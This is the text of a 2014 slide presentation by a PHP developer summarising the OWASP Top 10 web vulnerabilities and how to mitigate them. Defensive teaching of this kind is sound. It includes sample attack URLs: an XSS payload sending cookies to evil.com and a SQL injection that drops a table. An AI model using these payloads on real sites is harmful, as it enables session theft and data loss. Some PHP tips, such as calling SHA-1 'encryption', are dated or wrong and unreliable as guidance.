Hello Friends, This Is a presentation on OWASP(Open Web Application Security Project) top 10 key points. if we follow that rules we are able to create more secure system and prevent from different hackers and bugs.

1. Prepared By : Rushit Brahmbhatt
Date: 10-07-2014
Mobile no: +91-8866115181
Company: Mxicoders Pvt. Ltd.

2.  Intro
 Open Web Application Security Project (OWASP)
 Top 10 Security Vulnerabilities
 Avoiding
 Php Tips

3.  What is OWASP?
 Website: http://owasp.org
 Worldwide non-profit focused on improving software
security
 Reaches out to ALL developers: not just security professionals
 Who am I?
 Bachelor in Computer Science And Engineering(GTU)
 Work as a PHP Developer since 1.5 Year
 Employee of Mxicoders Pvt. Ltd.
 What will you learn?
 The top 10 security mistakes that developers make
 How to design software with an assurance of security

4. 1) Injection
2) Cross Site Scripting
3) Broken Authentication and Session Management
4) Insecure Direct Object References
5) Cross Site Request Forgery (CSRF)
6) Security Misconfiguration
7) Insecure Cryptographic Storage
8) Failure to Restrict URL Access
9) Insufficient Transport Layer Protection
10) Invalidated Redirects and Forwards

5.  Used when your app sends user-supplied data to other
apps
 Database, Operating System, LDAP, Web Services
 Hackers "inject" their code to run instead of yours
 To access unauthorized data, or completely take over
remote application

6.  Code expects a nice URL:
http://example.com/products?id=123
Hacker could instead supply
this:http://example.com/products?id=';+DROP+TABLE+'
products';

7.  Always assume data coming in could be "evil"
 be sure to include "evil" use cases and user stories in
your design
 Use an interface that supports bind variables (e.g.,
prepared statements, or stored procedures)
 Encode all user input before passing it to the
interpreter
 If user-input text is needed, use parameterized queries
 clean up quotes, parenthesis, and SQL comments

8.  Sites must "cleanse" user input before displaying it
 Hackers can create URLs to inject their own HTML
onto the page
 can be used to do almost any kind of attack!!!
 Steal user’s session, steal sensitive data, rewrite web
page, redirect user to phishing or malware site
 Most Severe: Install XSS proxy which allows attacker to
observe and direct all user’s behavior on vulnerable
site and force user to other sites

9.  Code expects a nice URL:
 http://example.com/buy?item=123
 But a hacker could supply this:
 http://example.com/buy?item='><script>document.loca
tion='http://evil.com/steal/'+document.cookie</script>

10.  Never, ever, ever trust user-submitted content!
 URLs, comments threads, web forms
 Properly "escape" any data before displaying it on web pages
 JavaScript parameters, URL parameters, STYLE elements
 Remove script tags, and possibly anything with a SRC attribute
 Use ESAPI to "cleanse" your HTML
 Do not allow state-change from HTTP GET requests
 Otherwise, an IMG tag could cause you to lose all your data
 Set the HttpOnly flag in your response headers
 Prevents document.cookie from working in JavaScript

11.  HTTP is a "stateless" protocol
 Nice and simple: HTTP request, HTTP response
 All data must be passed in the request every time
 How do we store state?
 Client side with cookies
 Server side with sessions
 Most apps place a "sessionId" in cookies, or in the URL
 Problem: User accounts compromised or user sessions hijacked
 Multiple ways to determine a session ID
 HttpReferrer logs, if sessionId is in the URL

12.  Assume that a user stole a session ID
 Determine how bad this would be in your application
 Use SSL everywhere!
 Makes it harder for people to “sniff” your session ID
 If you cannot use SSL everywhere, use it for logins
 Have a cryptographically strong session ID
 Verify that logoff actually destroys the session
 Good sessionIds should be very difficult to re-use
 Embed user IP address, user name, timestamp, and a secret
 Forces an attacker to spoof IP addresses to take over
 Prompt for re-login if IP changes during a session

13.  This is part of enforcing proper “Authorization”, along
with 7 – Failure to Restrict URL Access
 Only listing the ‘authorized’ objects for the current
user,
 This is called presentation layer access control, and
doesn’t work
 Users are able to access unauthorized files or data

14.  Code expects a nice URL:
 http://example.com/profile/123
 But a hacker could supply this:
 http://example.com/profile/124
 Attacker views the victim’s account information

15.  Eliminate the direct object reference
 Validate the direct object reference
 Verify the parameter value is properly formatted
 Verify the user is allowed to access the target object
 Verify the requested mode of access is allowed to the
target object (e.g., read, write, delete)


16.  An attack where the victim’s browser is tricked into
issuing a command to a vulnerable web application
 Vulnerability is caused by browsers automatically
including user authentication data (session ID, IP
address, Windows domain credentials, …) with each
request
 Impact :
 Initiate transactions (transfer funds, logout user, close
account)
 Access sensitive data
 Change account details

17.  All state change should require a unique token in the
request
 But if its in the URL, it's vulnerable!
 avoid reusable tokens
 General solution:
 All state change requires HTTP POST, not a GET
 Put one-time token in a hidden field on the web form
 After POST, do a GET redirect to a confirmation page
 What kind of token?
 Single-request tokens: safest, but a pain
 Session-based tokens hashed with session ID and action
 Require multiple-level authentication
 If an action looks fishy, re-prompt user for login

18.  Most web applications depend on some kind of framework
 Weblogic, Spring, Ruby on Rails, Open Source Libraries,
Codeignitor, wordpress, joomla, cakephp.
 What if your framework issued a security patch?
 Do you have a centralized policy for keeping dependencies
up-to-date?
 How long would it take you to discover new code?
 How long would it take to recompile/test/redeploy?
 Do you know all security configurations in the framework?
 Odds are no... documentation is usually obtuse
 “Being helpful is a security hole”
 Have you properly "hardened" your framework?
 Delete default users, disable unused services and ports

19.  Subscribe to newsletters and blog feeds to get patches
 Install the patches as quickly as possible
 Do periodic scans to detect missing patches
 Disable features that are "nice" for developers, but
"nasty" for security
 Use automation to ensure patches are up-to-date
 If you can't verify it, it's not secure?

20.  All applications store sensitive data
 Credit cards, passwords, secure documents
 How much "sensitive" data is in your log files?
 In general, or for exotic errors?
 How are you preventing unauthorized access to these
resources?
 If somebody stole your backup tapes, how bad would it
be?

21.  If you store secrets, encrypt them!
 Use only battle-tested standard encryption algorithms
 Analyze possible threats: inside attack, external user
 Make sure encryption policy is appropriate for the threats
 Encrypt data anywhere it's stored long term
 Especially backups!
 Store backups of decryption keys separately from data
 Restrict access to decrypted data to only authorized users
 Hash all passwords with a standard algorithm, and a "salt"
 Use strong keys to access the information
 Create a password management policy, and stick with it!

22.  Similar to #4: Insecure Direct Object Reference
 Need to block specific actions, even if no resource is
identified
 Attackers invoke functions and services they’re not
authorized for
 Access other user’s accounts and data
 Perform privileged actions

23.  Code expects a nice URL:
 http://example.com/user/getAccounts
 But a hacker could supply this:
 http://example.com/admin/getAccounts
 Attacker views more accounts than just their own

24.  For each URL, a site needs to do 3 things
 Restrict access to authenticated users (if not public)
 Enforce any user or role based permissions (if private)
 Completely disallow requests to unauthorized page types (e.g.,
config files, log files, source files, etc.)
 Verify your architecture
 Use a simple, positive model at every layer
 Be sure you actually have a mechanism at every layer
 Verify the implementation
 Forget automated analysis approaches
 Verify that each URL in your application is protected
 Verify the server configuration disallows requests to unauthorized
file types
 Use WebScarab or your browser to forge unauthorized requests

25.  How is sensitive information sent from the user to your
server?
 When they log in, or view sensitive data?
 How do you send that information to other systems?
 JDBC call, Web Services, JMS, emails

26.  Use strong, standards compliant network security
protocols
 Use TLS (SSL) on all connections with sensitive data
 Encrypt messages before transmission
 XML-Encryption
 Sign messages before transmission
 XML-Signature
 Disable old, flawed encryption algorithms (ie, SSL 2.0)
 If HTTPS is impractical, at the very least secure the
login process

27.  And frequently include user supplied parameters in
the destination URL
 If they aren’t validated, attacker can send victim to a
site of their choice
 Sometimes called "phishing holes"

28.  Restrict redirects to a limited number of "trusted" sites
 Keep a list of all redirect URLs, and pass the ID in the
request, instead of the URL
 http://example.com/redirect?urlId=123
 Hash the URL with a secret, and pass the hash in the
URL
 http://example.com/redirect?url=google.com&hash=a1b
2c3

29.  Use Captcha
 Always Use Server side validation
 Use access token
 Use Salt key
 Use Encryption Algorithms
 Use Database prefix
 Validate User Input

30.  html_entity_decode() - Convert all HTML entities to their
applicable characters
 htmlspecialchars() - Convert special characters to HTML
entities
 urlencode() - URL-encodes string
 mysql_real_escape_string()-Escapes special characters
 Sh1()-defult encryption algorithm
 strip_tags() – This function removes all the HTML,
JavaScript and php tag from the string.
 Intval- it is function which gets the integer value from the
variable

32.  WWW.GOOGLE.COM
 WWW.SLIDESHARE.NET
 WWW.OWASP.ORG
 WWW.WIKIPEDIA.ORG